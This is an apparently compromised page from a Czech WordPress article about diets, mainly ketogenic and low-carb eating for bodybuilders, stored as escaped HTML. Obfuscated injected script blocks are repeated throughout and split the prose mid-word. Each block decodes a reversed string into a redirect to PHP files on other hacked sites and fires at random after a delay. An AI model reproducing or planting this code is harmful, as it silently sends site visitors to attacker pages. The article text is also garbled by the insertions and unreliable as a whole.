number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to diety upozor\u0148uje. Po \u00favodn\u00ed f\u00e1zi vyu\u017eit\u00ed ulo\u017een\u00fdch sacharid\u016f ov\u0161em t\u011blo s\u00e1hne po tuku coby zdroji energie, tak\u017ee se do\u010dk\u00e1te. T\u00edm sp\u00ed\u0161, pokud v\u00e1s ty prvotn\u00ed v\u00fdsledky motivovaly a jste plni odhodl\u00e1n\u00ed v&nbsp;ke<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to diet\u011b pokra\u010dovat. Jen je t\u0159eba si uv\u011bdomit, \u017ee \u00fasp\u011bch t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to diety \u010das<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to tkv\u00ed ve vy\u0161\u0161\u00edm p\u0159\u00edjmu b\u00edlkovin a celkov\u011b ni\u017e\u0161\u00edm kalorick\u00e9m p\u0159\u00edjmu (doch\u00e1z\u00ed <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e k&nbsp;poklesu chuti k&nbsp;j\u00eddlu + nav\u00edc m\u00e1te pom\u011brn\u011b omezen\u00fd reper<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u00e1r potravin). Za \u00fasp\u011bchem t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to diety tedy nes<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toj\u00ed z\u00e1zra\u010dn\u00fd \u00fa\u010dinek ket\u00f3zy, ale napros<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to jasn\u011b m\u011b\u0159iteln\u00e9 fak<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tory.<\/p>\n\n\n\n<p>Po\u010d\u00edtat ale mus\u00edte s&nbsp;t\u00edm, \u017ee neschopnost dos\u00e1hnout v&nbsp;tr\u00e9ninku pot\u0159ebn\u00e9 intenzity m\u016f\u017ee spalov\u00e1n\u00ed tuk\u016f \u010d\u00e1ste\u010dn\u011b brzdit. Pak je na zv\u00e1\u017eenou, zda vsadit pr\u00e1v\u011b na ke<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to dietu, kdy\u017e kombinace HIIT tr\u00e9ninku s&nbsp;jin\u00fdm dietn\u00edm re\u017eimem m\u016f\u017ee b\u00fdt v&nbsp;kone\u010dn\u00e9m d\u016fsledku efektivn\u011bj\u0161\u00ed.<\/p>\n\n\n\n<p>A tak\u00e9 je tu pochopiteln\u011b ot\u00e1zka p\u0159\u00edpadn\u00fdch zdravotn\u00edch rizik. \u010cas<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to se oz\u00fdvaj\u00ed n\u00e1zory, zda je strava s&nbsp;tak velk\u00fdm pod\u00edlem tuk\u016f zdrav\u00e1. V&nbsp;<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom ale samoz\u0159ejm\u011b sehraje z\u00e1sadn\u00ed roli v\u00fdb\u011br vhodn\u00fdch druh\u016f tuku. Jestli\u017ee j\u00eddeln\u00ed\u010dek sestav\u00edte s&nbsp;d\u016frazem kladen\u00fdm na zdrav\u00e9 tuky a p\u0159id\u00e1te vhodn\u00e9 druhy zeleniny, dost\u00e1v\u00e1te se ke stravovac\u00edmu re\u017eimu, kter\u00fd m\u016f\u017ee b\u00fdt nap\u0159\u00edklad pro diabetiky vysloven\u011b vhodn\u00fd.<\/p>\n\n\n\n<p>Ale vra\u0165me se zp\u011bt k&nbsp;p\u016fvodn\u00edmu z\u00e1m\u011bru, tedy zhodnocen\u00ed diety z&nbsp;pohledu kulturistiky. A t\u00edm p\u00e1dem budeme op\u011bt p\u0159ed skute\u010dnost\u00ed, \u017ee takov\u00fd stravovac\u00ed pl\u00e1n m\u016f\u017ee vyhovovat n\u011bkter\u00fdm vytrvalostn\u00edm spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016fm, ale nikoliv t\u011bm, jejich\u017e tr\u00e9nink dosahuje skoro 100% intenzity. Pokud tedy v\u00e1\u0161 tr\u00e9ninkov\u00fd pl\u00e1n nezahrnuje cvi\u010den\u00ed o n\u00edzk\u00e9m objemu, ni\u017e\u0161\u00edm po\u010dtu opakov\u00e1n\u00ed a nepo\u010d\u00edt\u00e1 s&nbsp;del\u0161\u00edmi pauzami mezi s\u00e9riemi, nen\u00ed z&nbsp;hlediska svalov\u00e9ho r\u016fstu ide\u00e1ln\u00ed. A prosp\u00edvat nakonec nemus\u00ed ani s\u00edle. Tak\u017ee nejde o dietu, jakou bychom doporu\u010dili spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016fm, kte\u0159\u00ed v&nbsp;posilovn\u011b c\u00edl\u00ed na objem a silov\u00e9 v\u00fdkony. Zcela jist\u011b pom\u00e1h\u00e1 ke<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to dieta ke sn\u00ed\u017een\u00ed v\u00e1hy, ale nebude v&nbsp;<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to sm\u011bru efektivn\u011bj\u0161\u00ed, ne\u017e jin\u00e9 dietn\u00ed sm\u011bry, kter\u00e9 berou v\u011bt\u0161\u00ed ohledy na svalovou hmotu.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>LOW-CARB DIETA<\/strong><\/h2>\n\n\n\n<p>U ke<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return 